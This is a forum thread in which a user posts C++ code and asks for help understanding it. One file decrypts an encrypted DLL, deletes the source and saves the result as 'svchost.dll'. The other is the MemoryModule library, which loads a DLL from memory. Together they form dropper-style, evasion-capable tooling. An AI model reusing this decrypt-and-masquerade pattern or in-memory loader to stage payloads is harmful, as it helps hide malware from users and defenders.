首页
社区
课程
招聘
[讨论]求高手指点这个内存加载的cpp
发表于: 2015-7-5 17:17 4758

[讨论]求高手指点这个内存加载的cpp

2015-7-5 17:17
4758
// ShllCodeDec.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
//#include "ShllCode.h"
#include "MemoryModule.h"  这里为什么要包含这个头文件,就单纯的加密的话用不到吧
#include "windows.h"
#include "stdio.h"
HMEMORYMODULE hDll;   同上
HANDLE hDllFile;
void*  MemDll;
int    SizeDll;
DWORD  BytesRead;

void DecryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//加密
{
        unsigned long i;
        unsigned char p;
       
        p = (unsigned char ) key % 254 +8;
       
        for(i = 0; i < nLen; i++)
        {
                *szRec -= p;
                *szRec++ ^= p;    //异或算法加密
        }
}
bool SaveFile(char *FileName)
{
        bool Result = false;
        HANDLE hFile;
        DWORD  dwBytesWritten;
        hFile = CreateFile(FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,NULL,NULL);
        if (hFile == INVALID_HANDLE_VALUE) Result =false;
        if(WriteFile(hFile, MemDll, SizeDll, &dwBytesWritten, NULL)) Result =true;
        CloseHandle(hFile);
        return Result;
}
DWORD Anti()
{
        DWORD dwErr = 0;
        LPVOID lpMsgBuf;
        FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |        
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0,
        NULL
        );
        __asm
        {
                mov dwErr,eax
        }
        return dwErr;
               
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        // TODO: Place code here.
        hDllFile =CreateFile("Ball.dll",GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);//这里第一个参数调用上面那个GetModuleFileName
        SizeDll  =GetFileSize(hDllFile,0);
        //printf("大小:%d",SizeDll);
        MemDll   =VirtualAlloc(0,SizeDll,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); //创建的内存空间的大小
        ReadFile(hDllFile,MemDll,SizeDll,&BytesRead,0);
        CloseHandle(hDllFile);
        DecryptData((unsigned char *)MemDll,SizeDll,2025);  //传递参数,第一个参数为无符号字符型指针内存空间起始地址,,第二个参数为文件的大小,第三个为秘钥
        DeleteFile("Ball.dll");
        SaveFile("svchost.dll");
        return 0;
}

//_______________________________
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER

#include <Windows.h>

typedef void *HMEMORYMODULE;

#ifdef __cplusplus
extern "C" {
#endif

HMEMORYMODULE MemoryLoadLibrary(const void *);

FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);

void MemoryFreeLibrary(HMEMORYMODULE);

#ifdef __cplusplus
}
#endif

#endif  // __MEMORY_MODULE_HEADER
//-----------------------------------------------------
以上是头文件

/*
* Memory DLL loading code  cpp
* Version 0.0.2
*
* Copyright (c) 2004-2005 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.c
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2005
* Joachim Bauch. All Rights Reserved.
*
*/

// disable warnings about pointer <-> DWORD conversions
#pragma warning( disable : 4311 4312 )

#include <Windows.h>
#include <winnt.h>
#ifdef DEBUG_OUTPUT
#include <stdio.h>
#endif

#include "MemoryModule.h"

typedef struct {
        PIMAGE_NT_HEADERS headers; //定义NT头
        unsigned char *codeBase;  //基地址
        HMODULE *modules;
        int numModules;
        int initialized;
} MEMORYMODULE, *PMEMORYMODULE;

typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);  //定义dll模块入口点

#define GET_HEADER_DICTIONARY(module, idx)        &(module)->headers->OptionalHeader.DataDirectory[idx]

#ifdef DEBUG_OUTPUT
static void
OutputLastError(const char *msg)
{
        LPVOID tmp;
        char *tmpmsg;
        FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL);
        tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);
        sprintf(tmpmsg, "%s: %s", msg, tmp);
        OutputDebugString(tmpmsg);
        LocalFree(tmpmsg);
        LocalFree(tmp);
}
#endif

static void
CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
        int i, size;
        unsigned char *codeBase = module->codeBase;
        unsigned char *dest;
        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
        for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
        {
                if (section->SizeOfRawData == 0)
                {
                        // section doesn't contain data in the dll itself, but may define
                        // uninitialized data
                        size = old_headers->OptionalHeader.SectionAlignment;
                        if (size > 0)
                        {
                                dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
                                        size,
                                        MEM_COMMIT,
                                        PAGE_READWRITE);

                                section->Misc.PhysicalAddress = (DWORD)dest;
                                memset(dest, 0, size);
                        }

                        // section is empty
                        continue;
                }

                // commit memory block and copy data from dll
                dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
                                                        section->SizeOfRawData,
                                                        MEM_COMMIT,
                                                        PAGE_READWRITE);
                memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
                section->Misc.PhysicalAddress = (DWORD)dest;
        }
}

// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] = {
        {
                // not executable
                {PAGE_NOACCESS, PAGE_WRITECOPY},
                {PAGE_READONLY, PAGE_READWRITE},
        }, {
                // executable
                {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
                {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
        },
};

static void
FinalizeSections(PMEMORYMODULE module)
{
        int i;
        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
       
        // loop through all sections and change access flags
        for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
        {
                DWORD protect, oldProtect, size;
                int executable = (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
                int readable =   (section->Characteristics & IMAGE_SCN_MEM_READ) != 0;
                int writeable =  (section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;

                if (section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)
                {
                        // section is not needed any more and can safely be freed
                        VirtualFree((LPVOID)section->Misc.PhysicalAddress, section->SizeOfRawData, MEM_DECOMMIT);
                        continue;
                }

                // determine protection flags based on characteristics
                protect = ProtectionFlags[executable][readable][writeable];
                if (section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
                        protect |= PAGE_NOCACHE;

                // determine size of region
                size = section->SizeOfRawData;
                if (size == 0)
                {
                        if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
                                size = module->headers->OptionalHeader.SizeOfInitializedData;
                        else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
                                size = module->headers->OptionalHeader.SizeOfUninitializedData;
                }

                if (size > 0)
                {
                        // change memory access flags
                        if (VirtualProtect((LPVOID)section->Misc.PhysicalAddress, section->SizeOfRawData, protect, &oldProtect) == 0)
#ifdef DEBUG_OUTPUT
                                OutputLastError("Error protecting memory page")
#endif
                        ;
                }
        }
}

static void
PerformBaseRelocation(PMEMORYMODULE module, DWORD delta)
{
        DWORD i;
        unsigned char *codeBase = module->codeBase;

        PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
        if (directory->Size > 0)
        {
                PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress);
                for (; relocation->VirtualAddress > 0; )
                {
                        unsigned char *dest = (unsigned char *)(codeBase + relocation->VirtualAddress);
                        unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
                        for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++)
                        {
                                DWORD *patchAddrHL;
                                int type, offset;

                                // the upper 4 bits define the type of relocation
                                type = *relInfo >> 12;
                                // the lower 12 bits define the offset
                                offset = *relInfo & 0xfff;
                               
                                switch (type)
                                {
                                case IMAGE_REL_BASED_ABSOLUTE:
                                        // skip relocation
                                        break;

                                case IMAGE_REL_BASED_HIGHLOW:
                                        // change complete 32 bit address
                                        patchAddrHL = (DWORD *)(dest + offset);
                                        *patchAddrHL += delta;
                                        break;

                                default:
                                        //printf("Unknown relocation: %d\n", type);
                                        break;
                                }
                        }

                        // advance to next relocation block
                        relocation = (PIMAGE_BASE_RELOCATION)(((DWORD)relocation) + relocation->SizeOfBlock);
                }
        }
}

static int
BuildImportTable(PMEMORYMODULE module)
{
        int result=1;
        unsigned char *codeBase = module->codeBase;

        PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
        if (directory->Size > 0)
        {
                PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress);
                for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++)
                {
                        DWORD *thunkRef, *funcRef;
                        HMODULE handle = LoadLibrary((LPCSTR)(codeBase + importDesc->Name));
                        if (handle == INVALID_HANDLE_VALUE)
                        {
#if DEBUG_OUTPUT
                                OutputLastError("Can't load library");
#endif
                                result = 0;
                                break;
                        }

                        module->modules = (HMODULE *)realloc(module->modules, (module->numModules+1)*(sizeof(HMODULE)));
                        if (module->modules == NULL)
                        {
                                result = 0;
                                break;
                        }

                        module->modules[module->numModules++] = handle;
                        if (importDesc->OriginalFirstThunk)
                        {
                                thunkRef = (DWORD *)(codeBase + importDesc->OriginalFirstThunk);
                                funcRef = (DWORD *)(codeBase + importDesc->FirstThunk);
                        } else {
                                // no hint table
                                thunkRef = (DWORD *)(codeBase + importDesc->FirstThunk);
                                funcRef = (DWORD *)(codeBase + importDesc->FirstThunk);
                        }
                        for (; *thunkRef; thunkRef++, funcRef++)
                        {
                                if IMAGE_SNAP_BY_ORDINAL(*thunkRef)
                                        *funcRef = (DWORD)GetProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
                                else {
                                        PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + *thunkRef);
                                        *funcRef = (DWORD)GetProcAddress(handle, (LPCSTR)&thunkData->Name);
                                }
                                if (*funcRef == 0)
                                {
                                        result = 0;
                                        break;
                                }
                        }

                        if (!result)
                                break;
                }
        }

        return result;
}

HMEMORYMODULE MemoryLoadLibrary(const void *data)
{
        PMEMORYMODULE result;
        PIMAGE_DOS_HEADER dos_header;
        PIMAGE_NT_HEADERS old_header;
        unsigned char *code, *headers;
        DWORD locationDelta;
        DllEntryProc DllEntry;
        BOOL successfull;

        dos_header = (PIMAGE_DOS_HEADER)data;
        if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
        {
#if DEBUG_OUTPUT
                OutputDebugString("Not a valid executable file.\n");
#endif
                return NULL;
        }

        old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
        if (old_header->Signature != IMAGE_NT_SIGNATURE)
        {
#if DEBUG_OUTPUT
                OutputDebugString("No PE header found.\n");
#endif
                return NULL;
        }

        // reserve memory for image of library
        code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
                old_header->OptionalHeader.SizeOfImage,
                MEM_RESERVE,
                PAGE_READWRITE);

    if (code == NULL)
        // try to allocate memory at arbitrary position
        code = (unsigned char *)VirtualAlloc(NULL,
            old_header->OptionalHeader.SizeOfImage,
            MEM_RESERVE,
            PAGE_READWRITE);
   
        if (code == NULL)
        {
#if DEBUG_OUTPUT
                OutputLastError("Can't reserve memory");
#endif
                return NULL;
        }

        result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE));
        result->codeBase = code;
        result->numModules = 0;
        result->modules = NULL;
        result->initialized = 0;

        // XXX: is it correct to commit the complete memory region at once?
    //      calling DllEntry raises an exception if we don't...
        VirtualAlloc(code,
                old_header->OptionalHeader.SizeOfImage,
                MEM_COMMIT,
                PAGE_READWRITE);

        // commit memory for headers
        headers = (unsigned char *)VirtualAlloc(code,
                old_header->OptionalHeader.SizeOfHeaders,
                MEM_COMMIT,
                PAGE_READWRITE);
       
        // copy PE header to code
        memcpy(headers, dos_header, dos_header->e_lfanew + old_header->OptionalHeader.SizeOfHeaders);
        result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];

        // update position
        result->headers->OptionalHeader.ImageBase = (DWORD)code;

        // copy sections from DLL file block to new memory location
        CopySections(data, old_header, result);

        // adjust base address of imported data
        locationDelta = (DWORD)(code - old_header->OptionalHeader.ImageBase);
        if (locationDelta != 0)
                PerformBaseRelocation(result, locationDelta);

        // load required dlls and adjust function table of imports
        if (!BuildImportTable(result))
                goto error;

        // mark memory pages depending on section headers and release
        // sections that are marked as "discardable"
        FinalizeSections(result);

        // get entry point of loaded library
        if (result->headers->OptionalHeader.AddressOfEntryPoint != 0)
        {
                DllEntry = (DllEntryProc)(code + result->headers->OptionalHeader.AddressOfEntryPoint);
                if (DllEntry == 0)
                {
#if DEBUG_OUTPUT
                        OutputDebugString("Library has no entry point.\n");
#endif
                        goto error;
                }

                // notify library about attaching to process
                successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
                if (!successfull)
                {
#if DEBUG_OUTPUT
                        OutputDebugString("Can't attach library.\n");
#endif
                        goto error;
                }
                result->initialized = 1;
        }

        return (HMEMORYMODULE)result;

error:
        // cleanup
        MemoryFreeLibrary(result);
        return NULL;
}

FARPROC MemoryGetProcAddress(HMEMORYMODULE module, const char *name)
{
        unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
        int idx=-1;
        DWORD i, *nameRef;
        WORD *ordinal;
        PIMAGE_EXPORT_DIRECTORY exports;
        PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
        if (directory->Size == 0)
                // no export table found
                return NULL;

        exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress);
        if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0)
                // DLL doesn't export anything
                return NULL;

        // search function name in list of exported names
        nameRef = (DWORD *)(codeBase + exports->AddressOfNames);
        ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals);
        for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++)
                if (stricmp(name, (const char *)(codeBase + *nameRef)) == 0)
                {
                        idx = *ordinal;
                        break;
                }

        if (idx == -1)
                // exported symbol not found
                return NULL;

        if ((DWORD)idx > exports->NumberOfFunctions)
                // name <-> ordinal number don't match
                return NULL;

        // AddressOfFunctions contains the RVAs to the "real" functions
        return (FARPROC)(codeBase + *(DWORD *)(codeBase + exports->AddressOfFunctions + (idx*4)));
}

void MemoryFreeLibrary(HMEMORYMODULE mod)
{
        int i;
        PMEMORYMODULE module = (PMEMORYMODULE)mod;

        if (module != NULL)
        {
                if (module->initialized != 0)
                {
                        // notify library about detaching from process
                        DllEntryProc DllEntry = (DllEntryProc)(module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
                        (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
                        module->initialized = 0;
                }

                if (module->modules != NULL)
                {
                        // free previously opened libraries
                        for (i=0; i<module->numModules; i++)
                                if (module->modules[i] != INVALID_HANDLE_VALUE)
                                        FreeLibrary(module->modules[i]);

                        free(module->modules);
                }

                if (module->codeBase != NULL)
                        // release memory of library
                        VirtualFree(module->codeBase, 0, MEM_RELEASE);

                HeapFree(GetProcessHeap(), 0, module);
        }
}

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 135
活跃值: (106)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
2
你需要指点啥, 如果完全看不懂的话, 还是不要指点为好
2015-7-5 22:28
0
雪    币: 115
活跃值: (23)
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
3
咋可能完全看不懂呢,你的回答有点搞笑哦,特别是设计PE结构的那一块,比如建立输入表之类的,我想大神给个注释而已!!!
2015-7-13 17:00
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
靠,好长的代码。。。。。。。。。
2015-7-17 00:06
0
雪    币: 9941
活跃值: (2143)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
你就把整个代码一粘贴 , 然后求指点 ,  这确实有点搞笑
2015-7-17 01:05
0
游客
登录 | 注册 方可回帖
返回
//